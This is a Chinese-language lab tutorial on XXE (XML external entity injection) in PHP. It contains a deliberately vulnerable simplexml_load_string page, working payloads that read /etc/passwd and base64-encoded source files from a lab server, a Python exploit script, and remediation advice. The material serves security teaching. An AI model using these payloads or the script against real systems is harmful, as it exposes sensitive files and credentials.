XXE（xml外部实体注入漏洞）

实验内容

介绍XXE漏洞的触发方式和利用方法，简单介绍XXE漏洞的修复。

影响版本:

libxml2.8.0版本

漏洞介绍

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

由于站点的建站语言不同，PHP、JAVA、python等也有不同的解析规则，在实际情况中不能一概而论，但原理是相同的。

XML基础知识

XML是用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

XML中对数据的引用称为实体，实体中有一类叫外部实体，用来引入外部资源，有SYSTEM和PUBLIC两个关键字，表示实体来自本地计算机还是公共计算机，外部实体的引用可以借助各种协议，比如如下的三种：

  file:///path/to/file.ext

  http://url

  php://filter/read=convert.base64-encode/resource=conf.php

XML在调用外部实体整体的写法如下：

  <?xml version="1.0" encoding="utf-8"?>

  <!DOCTYPE xdsec [

  <!ELEMENT methodname ANY >

  <!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>

  <methodcall>

  <methodname>&xxe;</methodname>

  </methodcall>

这种写法则调用了本地计算机的文件/etc/passwd，XML内容被解析后，文件内容便通过&xxe被存放在了methodname元素中，造成了敏感信息的泄露。

实验步骤

以下步骤主要讲述了此漏洞的利用方式，XML、Payload的构造方式以及恶意脚本的使用和分析。

步骤1：漏洞验证

首先，我们的目标地址是172.16.12.2/simplexml_load_string.php

我们先来看下simplexml_load_string.php代码怎么写的，代码如下：

<?php

$data = file_get_contents('php://input');

$xml = simplexml_load_string($data);

echo $xml->name;

?>

最开始，引入一个file_get_contents函数，将整个XML数据读入data字符串中，然后交给php的xml解析函数simplexml_load_string()解析，解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据，并echo输出出来。

我们现在打开Burpsuite，修改浏览器的网络配置，点击最右侧的三个横线，然后依次点击->选项->高级->网络->配置firefox如何连接互联网

设置HTTP代理为127.0.0.1，端口为8080，配置完成后，开启burpsuite的拦截功能，然后访问如下网址

http://172.16.12.2/simplexml_load_string.php

当访问请求被burp拦截后，点击action将此请求发送到burp的repeater选项卡(send to repeater)，将如下的XML文本直接写在数据包内容的下面

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

这一步骤将XML内容发送给服务器，当服务器将XML解析完成后，就会依照解析的内容工作，这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件，服务器解析XML内容后，会将这一文件内容存入&xxe中，然后将数据返回给恶意访问者。

执行完成上面的操作后，点击GO，右侧将出现此数据包的返回结果，内容如下，返回的数据为服务器上/etc/passwd文件的内容

如果修改XML中的外部实体为其他协议，如php://filter/read=convert.base64-encode/resource=index.php，在Proxy选项卡的原数据包中粘贴XML内容，点击FORWARD放行请求，返回的结果在浏览器上显示如下

返回值为PD9waHANCnBocGluZm8oKTsNCj8+，经过base64解码，可以看到字符串是index.php的源代码

<?php

phpinfo();

?>

我们来访问一下index.php，可以看到确实是执行了phpinfo();函数

步骤2 使用并分析恶意脚本

请访问http://file.ichunqiu.com/397qjz4d下载实验文件。

打开cmd，输入 python 脚本所在路径\xxe-url2.py(可将脚本直接拖入cmd命令行) ，然后输入要读取的文件及要访问的地址.

如下图所示，脚本放在C:\Documents and Settings\Administrator\My Documents\下载\路径下，运行脚本，输入示例payload

file:///etc/passwd

示例地址

http://172.16.12.2/simplexml_load_string.php

xxe-url2.py的代码如下，通过urllib2的request方法用POST方式向目标地址发送XML数据，返回的数据即为服务器172.16.12.2下的/etc/passwd文件

import urllib2

if __name__ == '__main__':

    print u'输入要读取的文件，如file:///etc/passwd'

    payload = raw_input()

    print u'输入要访问的地址，如http://172.16.12.2/simplexml_load_string.php'

    url = raw_input()

    #url = 'http://192.168.70.235/simplexml_load_string.php'

    headers = {'Content-type': 'text/xml'}

    xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'

    req = urllib2.Request(url = url,headers = headers, data = xml)

    res_data = urllib2.urlopen(req)

    res = res_data.read()

    print res

实验结果分析与总结

本次实验主要了解了XML的基础知识以及PHP中XML的使用，了解了漏洞出现的原理，学习了通过构造恶意的外部实体访问，让服务器读取敏感文件内容的恶意操作。

XML外部实体注入可以造成的危害有：

• 任意文件读取

• 系统命令执行

• 内网主机及服务探测

本次实验我们主要进行了任意文件读取的操作，系统命令执行需要在安装了EXPECT扩展的PHP环境下才能执行，内网主机及服务探测可以通过HTTP协议来执行。

修复方案

• 使用libxml2.8.0以上版本xml解析库，默认禁止外部实体的解析

• 对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用函数进行过滤

• 可将外部实体、参数实体和内联DTD都被设置为false，从而避免基于XXE漏洞的攻击。